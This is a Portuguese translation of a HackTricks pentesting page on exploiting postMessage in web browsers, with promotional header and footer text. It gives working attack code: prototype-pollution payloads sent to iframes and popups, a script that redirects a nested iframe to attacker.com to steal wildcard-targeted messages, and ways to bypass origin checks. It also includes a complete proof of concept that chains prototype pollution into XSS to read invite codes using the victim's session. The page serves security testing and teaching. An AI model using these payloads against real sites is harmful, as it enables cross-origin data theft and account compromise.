.. | ||
blocking-main-page-to-steal-postmessage.md | ||
bypassing-sop-with-iframes-1.md | ||
bypassing-sop-with-iframes-2.md | ||
README.md | ||
steal-postmessage-modifying-iframe-location.md |
Vulnerabilidades do PostMessage
Vulnerabilidades do PostMessage
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Você trabalha em uma empresa de segurança cibernética? Você quer ver sua empresa anunciada no HackTricks? ou você quer ter acesso à última versão do PEASS ou baixar o HackTricks em PDF? Confira os PLANOS DE ASSINATURA!
- Descubra The PEASS Family, nossa coleção exclusiva de NFTs
- Adquira o swag oficial do PEASS & HackTricks
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-me no Twitter 🐦@carlospolopm.
- Compartilhe seus truques de hacking enviando PRs para o repositório hacktricks e para o repositório hacktricks-cloud.
Enviar PostMessage
O PostMessage usa a seguinte função para enviar uma mensagem:
targetWindow.postMessage(message, targetOrigin, [transfer]);
# postMessage to current page
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an iframe with id "idframe"
<iframe id="idframe" src="http://victim.com/"></iframe>
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an iframe via onload
<iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">
# postMessage to popup
win = open('URL', 'hack', 'width=800,height=300,top=500');
win.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an URL
window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')
# postMessage to iframe inside popup
win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
## loop until win.length == 1 (until the iframe is loaded)
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')
Observe que targetOrigin pode ser um '*' ou uma URL como https://company.com.
No segundo cenário, a mensagem só pode ser enviada para esse domínio (mesmo que a origem do objeto da janela seja diferente).
Se o curinga for usado, mensagens podem ser enviadas para qualquer domínio, e serão enviadas para a origem do objeto da janela.
Atacando iframe e curinga em targetOrigin
Conforme explicado neste relatório, se você encontrar uma página que possa ser inserida em um iframe (sem proteção X-Frame-Header
) e que esteja enviando mensagens sensíveis via postMessage usando um curinga (*), você pode modificar a origem do iframe e vazar a mensagem sensível para um domínio controlado por você.
Observe que se a página puder ser inserida em um iframe, mas o targetOrigin estiver definido como uma URL e não como um curinga, esse truque não funcionará.
<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
setTimeout(exp, 6000); //Wait 6s
//Try to change the origin of the iframe each 100ms
function exp(){
setInterval(function(){
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
}, 100);
}
</script>
Exploração do addEventListener
addEventListener
é a função usada pelo JS para declarar a função que está esperando postMessages
.
Um código semelhante ao seguinte será usado:
window.addEventListener("message", (event) => {
if (event.origin !== "http://example.org:8080")
return;
// ...
}, false);
Observe neste caso como a primeira coisa que o código faz é verificar a origem. Isso é terrivelmente importante, principalmente se a página for fazer qualquer coisa sensível com as informações recebidas (como alterar uma senha). Se não verificar a origem, os atacantes podem fazer as vítimas enviarem dados arbitrários para esses endpoints e alterar as senhas das vítimas (neste exemplo).
Enumeração
Para encontrar ouvintes de eventos na página atual, você pode:
- Procurar o código JS por
window.addEventListener
e$(window).on
(versão JQuery) - Executar no console das ferramentas do desenvolvedor:
getEventListeners(window)
- Ir para Elementos --> Ouvintes de eventos nas ferramentas do desenvolvedor do navegador
- Usar uma extensão do navegador como https://github.com/benso-io/posta ou https://github.com/fransr/postMessage-tracker. Essas extensões do navegador irão interceptar todas as mensagens e mostrá-las para você.
Bypasses básicos de verificação de origem
- Se
indexOf()
é usado para verificar a origem do evento PostMessage, lembre-se de que ele pode ser facilmente contornado como no exemplo a seguir:("https://app-sj17.marketo.com").indexOf("https://app-sj17.ma")
\ - Se
search()
é usado para validar a origem, pode ser inseguro. De acordo com a documentação deString.prototype.search()
, o método recebe um objeto de expressão regular em vez de uma string. Se algo diferente de uma expressão regular for passado, ele será convertido implicitamente em uma expressão regular.
Na expressão regular, um ponto (.) é tratado como um caractere curinga. Um atacante pode tirar proveito disso e usar um domínio especial em vez do oficial para contornar a validação, como em:"https://www.safedomain.com".search("www.s.fedomain.com")
.\ - Se a função
escapeHtml
é usada, a função não cria um objeto escapadonew
, em vez disso, ela sobrescreve propriedades do objeto existente. Isso significa que, se pudermos criar um objeto com uma propriedade controlada que não responda ahasOwnProperty
, ela não será escapada.
// Expected to fail:
result = u({
message: "'\"<b>\\"
});
result.message // "'"<b>\"
// Bypassed:
result = u(new Error("'\"<b>\\"));
result.message; // "'"<b>\"
O objeto File
é perfeito para este exploit, pois ele tem uma propriedade somente leitura name
que é usada pelo nosso modelo e irá contornar a função escapeHtml
.
Contornando e.origin == window.origin
Quando uma página é incorporada em um iframe com sandbox via <iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php">
, a origem desse iframe será null
.
Quando o valor do sandbox allow-popups
é definido, então a popup aberta irá herdar todos os atributos sandbox a menos que allow-popups-to-escape-sandbox
seja definido.
Portanto, abrir uma popup a partir de uma origem nula fará com que window.origin
dentro da popup também seja null
.
Portanto, se você abrir um iframe com sandbox permitindo popups e, em seguida, abrir uma popup de dentro do iframe e enviar uma postMessage do iframe para a popup, ambas as origens são nulas, então: e.origin == window.origin == null
Para mais informações, leia:
{% content-ref url="bypassing-sop-with-iframes-1.md" %} bypassing-sop-with-iframes-1.md {% endcontent-ref %}
Contornando e.source
Você pode forçar o e.source
de uma mensagem a ser nulo criando um iframe que envia a postMessage e é imediatamente excluído.
Para mais informações, leia:
{% content-ref url="bypassing-sop-with-iframes-2.md" %} bypassing-sop-with-iframes-2.md {% endcontent-ref %}
Contornando o cabeçalho X-Frame
Para realizar esses ataques, idealmente você será capaz de colocar a página da vítima dentro de um iframe
. Mas alguns cabeçalhos como X-Frame-Header
podem impedir esse comportamento.
Nesses cenários, você ainda pode usar um ataque menos furtivo. Você pode abrir uma nova guia para a aplicação web vulnerável e se comunicar com ela:
<script>
var w=window.open("<url>")
setTimeout(function(){w.postMessage('text here','*');}, 2000);
</script>
Roubo de mensagem enviada para filho bloqueando a página principal
Na página a seguir, você pode ver como pode roubar dados sensíveis de postmessage enviados para um iframe filho bloqueando a página principal antes de enviar os dados e abusando de um XSS no filho para vazar os dados antes que sejam recebidos:
{% content-ref url="blocking-main-page-to-steal-postmessage.md" %} blocking-main-page-to-steal-postmessage.md {% endcontent-ref %}
Roubo de mensagem modificando a localização do iframe
Se você pode criar um iframe de uma página sem o cabeçalho X-Frame, que contém outro iframe, você pode alterar a localização do iframe filho, então, se ele estiver recebendo um postmessage enviado usando um curinga, um invasor poderia alterar a origem desse iframe para uma página controlada por ele e roubar a mensagem:
{% content-ref url="steal-postmessage-modifying-iframe-location.md" %} steal-postmessage-modifying-iframe-location.md {% endcontent-ref %}
postMessage para Prototype Pollution e/ou XSS
Em cenários em que os dados enviados por meio de postMessage
são executados por JS, você pode criar um iframe na página e explorar a poluição de protótipo/XSS enviando a exploração via postMessage
.
Alguns XSS muito bem explicados por meio de postMessage
podem ser encontrados em https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html
Exemplo de uma exploração para abusar da poluição de protótipo e depois XSS por meio de um postMessage
para um iframe
:
<html>
<body>
<iframe id="idframe" src="http://127.0.0.1:21501/snippets/demo-3/embed"></iframe>
<script>
function get_code() {
document.getElementById('iframe_victim').contentWindow.postMessage('{"__proto__":{"editedbymod":{"username":"<img src=x onerror=\\\"fetch(\'http://127.0.0.1:21501/api/invitecodes\', {credentials: \'same-origin\'}).then(response => response.json()).then(data => {alert(data[\'result\'][0][\'code\']);})\\\" />"}}}','*');
document.getElementById('iframe_victim').contentWindow.postMessage(JSON.stringify("refresh"), '*');
}
setTimeout(get_code, 2000);
</script>
</body>
</html>
Para mais informações:
- Link para a página sobre poluição de protótipo
- Link para a página sobre XSS
- Link para a página sobre poluição de protótipo do lado do cliente para XSS
Referências
- https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html
- https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd
- Para praticar: https://github.com/yavolo/eventlistener-xss-recon
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Você trabalha em uma empresa de segurança cibernética? Você quer ver sua empresa anunciada no HackTricks? ou você quer ter acesso à última versão do PEASS ou baixar o HackTricks em PDF? Verifique os PLANOS DE ASSINATURA!
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Adquira o swag oficial do PEASS & HackTricks
- Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-me no Twitter 🐦@carlospolopm.
- Compartilhe suas técnicas de hacking enviando PRs para o repositório hacktricks e repositório hacktricks-cloud.